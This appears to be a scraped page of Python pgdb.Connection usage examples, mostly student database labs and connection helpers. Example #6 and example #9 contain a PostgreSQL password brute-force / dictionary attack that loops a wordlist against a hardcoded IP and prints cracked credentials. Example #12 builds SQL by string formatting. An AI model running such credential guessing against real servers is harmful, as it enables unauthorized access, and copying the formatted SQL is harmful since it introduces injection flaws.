예제 #1
0
파일: lab2e.py 프로젝트: togrba/dbtech
    def __init__(self):
        #If you are using a local postgres server as user postgres with default database 'postgres'
        params = {
            'host': 'localhost',
            'user': '******',
            'database': 'postgres',
            'password': ''
        }

        self.connection1 = pgdb.Connection(**params)
        self.connection1.autocommit = False
        self.cursor1 = self.connection1.cursor()

        self.connection2 = pgdb.Connection(**params)
        self.connection2.autocommit = False
        self.cursor2 = self.connection2.cursor()
예제 #2
0
파일: lab2d.py 프로젝트: henholm/dbas
 def __init__(self):
     # local server:
     params = {'host':'', 'user':'******', 'database':'', 'password':''}
     self.conn = pgdb.Connection(**params)
     self.conn.autocommit=False
     # specify the command line menu here
     self.actions = [self.population_query, self.scatterplot_population, self.test_hypothesis, self.exit]
     # menu text for each of the actions above
     self.menu = ["Population Query", "Population Scatterplot", "Test hypothesis", "Exit"]
     self.cur = self.conn.cursor()
예제 #3
0
 def __init__(self): #PG-connection setup
     # local server:
     params = {'host':'localhost', 'user':'******', 'database':'postgres', 'password':''}
     self.conn = pgdb.Connection(**params)
     self.conn.autocommit=False
     # specify the command line menu here
     self.actions = [self.population_query, self.exit]
     # menu text for each of the actions above
     self.menu = ["Test hypotheses 🤔", "Exit"]
     self.explore_menu = ["Latitute", "Elevation"]
     self.cur = self.conn.cursor()
예제 #4
0
파일: lab2c.py 프로젝트: togrba/dbtech
 def __init__(self): #PG-connection setup
     # local server:
     params = {'host':'localhost', 'user':'******', 'database':'postgres', 'password':'******'}
     # kth server:
     # params = {'host':'nestor2.csc.kth.se', 'user': '******', 'database':'', 'password':'******'}
     self.conn = pgdb.Connection(**params)
     self.conn.autocommit=False
     # specify the command line menu here
     self.actions = [self.population_query, self.trend_query, self.exit]
     # menu text for each of the actions above
     self.menu = ["Population Query", "Trend Examples", "Exit"]
     self.cur = self.conn.cursor()
def redshift_connection(db_name, db_host, db_port, db_user, db_password):
    # Makes the db connection
    try:
        con = pgdb.Connection(database=db_name,
                              host=db_host,
                              user=db_user,
                              password=db_password,
                              port=db_port)
        logging.info("Database connection succedded")
        return con
    except Exception as e:
        # error while making connection
        logging.error("Error while making database connection \n" + str(e))
예제 #6
0
def bruteforceattack(_target, _user, _pwd, _porttarget, _dbtarget):
    try:
        psqlconn = pgdb.Connection(user=_user,
                                   password=_pwd,
                                   host=_target,
                                   port=_porttarget,
                                   database=_dbtarget)
        psqlconn.close()
        print('[+] BINGO - username:'******'password:'******'Database:',
              _dbtarget)

    except:
        if verbose:
            print('[-] FAIL  - username:'******'password:'******'Database:', _dbtarget)
예제 #7
0
 def __init__(self):  #PG-connection setup
     # local server:
     params = {
         'host': '',
         'user': '******',
         'database': '',
         'password': ''
     }
     self.conn = pgdb.Connection(**params)
     self.conn.autocommit = False
     # specify the command line menu here
     self.actions = [
         self.population_query, self.scatterplot_population,
         self.plot_datapoints_per_year, self.plot_mean_and_stdev_per_decade,
         self.scatterplot_user_input, self.exit
     ]
     # menu text for each of the actions above
     self.menu = [
         "Population Query", "Population Scatterplot",
         "Plot # of datapoints per year",
         "Plot mean and std_dev per decade",
         "Scatterplot data about your city", "Exit"
     ]
     self.cur = self.conn.cursor()
예제 #8
0
#!/usr/bin/python
hostname = 'localhost'
username = '******'
password = '******'
database = 'postgres'

# Simple routine to run a query on a database and print the results:
def doQuery( conn ) :
    cur = conn.cursor()
    
    novo_rec = "insert into emp values ((select max(id) +1 from emp), 'Jose da Silva', '51987655521', '1')"
    cur.execute(novo_rec)
    cur.execute( "SELECT name, fone FROM emp" )

    for name, fone in cur.fetchall() :
        print (name, fone)

print ("Using psycopg2…")
import psycopg2
myConnection = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )
doQuery( myConnection )
myConnection.commit()
myConnection.close()

import pgdb
myConnection1 = pgdb.Connection( host=hostname, user=username, password=password, database=database )
doQuery( myConnection1 )
myConnection1.commit()
myConnection1.close()

target = '10.171.1.129'
psql_server = ' - PostgreSQL Server IP: ' + target
psql_enum = att + " -  PostgreSQL version enumeration: \n"
psql_generic = att + " - Generic information about the PostgreSQL connection: "

psql_start = app + " - Start PostgreSQL Dictonary Attack "
psql_end = app + " - PostgreSQL Dictonary Attack Finished"

print(psql_start)

with open(wordlist, "r") as _word:
    for _line in _word:
        _password = _line.strip("\n")

        try:
            psqlconn = pgdb.Connection(user="******",
                                       password=_password,
                                       host="10.171.1.129",
                                       port="5432",
                                       database="postgres")

            print(ok + msg_ok + green + username + nocolor + msg_pass + green +
                  _password + nocolor + psql_server)

            psqlconn.close()

        except:
            print(fail + msg_fail + username + msg_pass + _password)

print(psql_end)
예제 #10
0
#If you are using a local postgres server as user postgres with default database 'postgres'
params = {
    'host': 'localhost',
    'user': '******',
    'database': 'postgres',
    'password': '******'
}
#If you are using nestor2, copy this python file to u-shell and then execute there
# params = {'host':'nestor2.csc.kth.se', 'user': '******', 'database':'', 'password':'******'}

# We work with two connections to the database, simulating concurrent users. These
# connections could be remote, in separate programs etc, but we run them in the same file
# here to test out concurrency issues. Connection1/cursor1 are for "user 1",
# Connection2/cursor2 for "user 2"
connection1 = pgdb.Connection(**params)
connection1.autocommit = False
cursor1 = connection1.cursor()

connection2 = pgdb.Connection(**params)
connection2.autocommit = False
cursor2 = connection2.cursor()


def drop():
    # delete the table Sales if it does already exist
    try:
        query = "DROP TABLE Sales"
        cursor1.execute(query)
        connection1.commit()
        # by default in pgdb, all executed queries for connection 1 up to here form a transaction
예제 #11
0
#!/usr/bin/python

import pgdb

username = '******'
pwd = 'postgres'
target = '11.11.11.171'
porttarget = 5432
dbtarget = 'postgres'

psqlconn = pgdb.Connection(user=username,
                           password=pwd,
                           host=target,
                           port=porttarget,
                           database=dbtarget)

print(psqlconn)

psqlconn.close()
예제 #12
0
# -*- coding: shift_jis -*-

#引数として日付を受け取る

#import package
import csv
import pprint
import pgdb
import sys

#PostgreSQL接続設定
con = pgdb.Connection(host="HOST",database="DATABASE",user="******",password="******")
cur = con.cursor()

#csvを開く
with open(r'D:/xxx/file.csv', newline='') as csvfile:
    read = csv.reader(csvfile)
    args = sys.argv
    date = args[1]
    #最初の一行目を飛ばす
    next(csvfile)
    #Excelの一番下の行まで読み込みつつ、SQL実行
    for row in read:
       #シーケンスとタイムスタンプ使用      
        sql = "INSERT INTO table VALUES(nextval('xxx_seq'),%(引数名)s,'{}','{}','{}','{}','{}',{},{},{},{},{})"
        sql = sql.format(row[0],row[1],row[2],row[3],row[4],row[5],row[6],int(row[7]),float(row[8]),int(row[9]),int(row[10]),int(row[11]))
        cur.execute(sql, {'引数名': (引数名,)})
        con.commit()

cur.close()
con.close()
예제 #13
0
    dirname = '/app_pipeline'
    config_filename = os.path.join(dirname, "config.yaml")

    with open(config_filename) as fp:
        data = yaml.load(fp, Loader=yaml.FullLoader)

    @classmethod
    def get_config(cls):
        return cls.data


config = Config.get_config()

server_config = config['pgdb']['server']
server_conn = pgdb.Connection(
    user=server_config["user"],
    host=server_config["host"],
    port=int(server_config["port"]),
    password=server_config["password"],
    database=server_config["database"],
)

JOB_RES_CHANNEL = config['JOB_RES_CHANNEL']

redis_config = config['redis']
job_cache_conn = redis.Redis(**redis_config['job_cache'])
job_pipeline_conn = redis.Redis(**redis_config['pipeline'])

RENDER_INTERVAL_JOBS_KEY = config['RENDER_INTERVAL_JOBS_KEY']

예제 #14
0
        """)

conn = None
producer = KafkaProducer(bootstrap_servers=['localhost:9092'],
                         api_version=(0, 10, 1))
print("Successfully connected to KafkaProducer")

insert_table_cmd = ("""
        CREATE TABLE IF NOT EXISTS updates (
			update varchar(255)
        );
        """)

try:
    conn = pgdb.Connection(database='postgres',
                           host='localhost',
                           user='******',
                           password='******')
    cur = conn.cursor()
    cur.execute(create_table_cmd)
    cur.execute(insert_table_cmd)
    print('Connection successful!')

except:
    print('Connection unsuccessful!')


def load_data(filename):
    with open(filename, mode='r') as read_file:

        read_data = csv.reader(read_file, delimiter=',')
        line = 0
예제 #15
0
#!/usr/bin/python
import pgdb

C = pgdb.Connection(host='localhost', user='******', password='******', database='test')
c = C.cursor()

c.execute( "select * from test" )

for firstname, lastname in c.fetchall() :
  print( firstname, lastname )

c.close()